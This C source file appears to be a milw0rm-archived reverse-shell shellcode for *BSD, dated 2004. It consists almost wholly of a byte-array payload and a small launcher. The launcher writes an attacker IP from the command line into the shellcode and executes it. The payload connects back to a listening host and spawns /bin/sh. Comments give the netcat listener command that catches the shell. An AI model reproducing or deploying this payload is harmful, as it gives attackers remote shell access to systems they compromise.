66 lines
No EOL
1.4 KiB
C
66 lines
No EOL
1.4 KiB
C
/* reverse-portshell *BSD shellcode by noir */
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/* local usage: ./reverse-shell 192.168.2.33 */
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/* remote: nc -n -v -v -l -p 6969 */
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/* listen on 6969/tcp */
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/* noir@gsu.linux.org.tr */
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char shellcode[] =
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{
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0x31,0xc9,0x51,0x41,
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0x51,0x41,0x51,0x51,
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0x31,0xc0,0xb0,0x61,
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0xcd,0x80,0x89,0x07,
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0x31,0xc9,0x88,0x4f,
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0x04,0xc6,0x47,0x05,
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0x02,0xc7,0x47,0x08,
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0xc0,0xa8,0x01,0x45, //ipaddr
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0x66,0xc7,0x47,0x06,
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0x1b,0x39,0x6a,0x10,
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0x8d,0x47,0x04,0x50,
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0x8b,0x07,0x50,0x50,
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0x31,0xc0,0xb0,0x62,
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0xcd,0x80,0x31,0xc9,
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0x51,0x8b,0x07,0x50,
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0x50,0x31,0xc0,0xb0,
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0x5a,0xcd,0x80,0x41,
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0x83,0xf9,0x03,0x75,
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0xef,0x31,0xc9,0x51,
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0x51,0x31,0xc0,0xb0,
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0x17,0xcd,0x80,0xeb,
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0x23,0x5b,0x89,0x1f,
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0x31,0xc9,0x88,0x4b,
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0x07,0x89,0x4f,0x04,
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0x51,0x8d,0x07,0x50,
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0x8b,0x07,0x50,0x50,
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0x31,0xc0,0xb0,0x3b,
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0xcd,0x80,0x31,0xc9,
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0x51,0x51,0x31,0xc0,
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0xb0,0x01,0xcd,0x80,
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0xe8,0xd8,0xff,0xff,
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0xff,0x2f,0x62,0x69,
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0x6e,0x2f,0x73,0x68,
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0x41
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};
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int
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main(int argc, char ** argv)
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{
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void (*f) (void);
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unsigned int d;
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if(!argv[0])
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exit(0);
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d = inet_addr(argv[1]);
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printf("IP: %lx shellcode len: %d\n", d, strlen(shellcode));
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shellcode[28] = d & 0xff ;
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shellcode[29] = (d >> 8) & 0xff;
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shellcode[30] = (d >> 16) & 0xff;
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shellcode[31] = (d >> 24) & 0xff;
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f = (void *) shellcode;
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f();
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}
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// milw0rm.com [2004-09-26]
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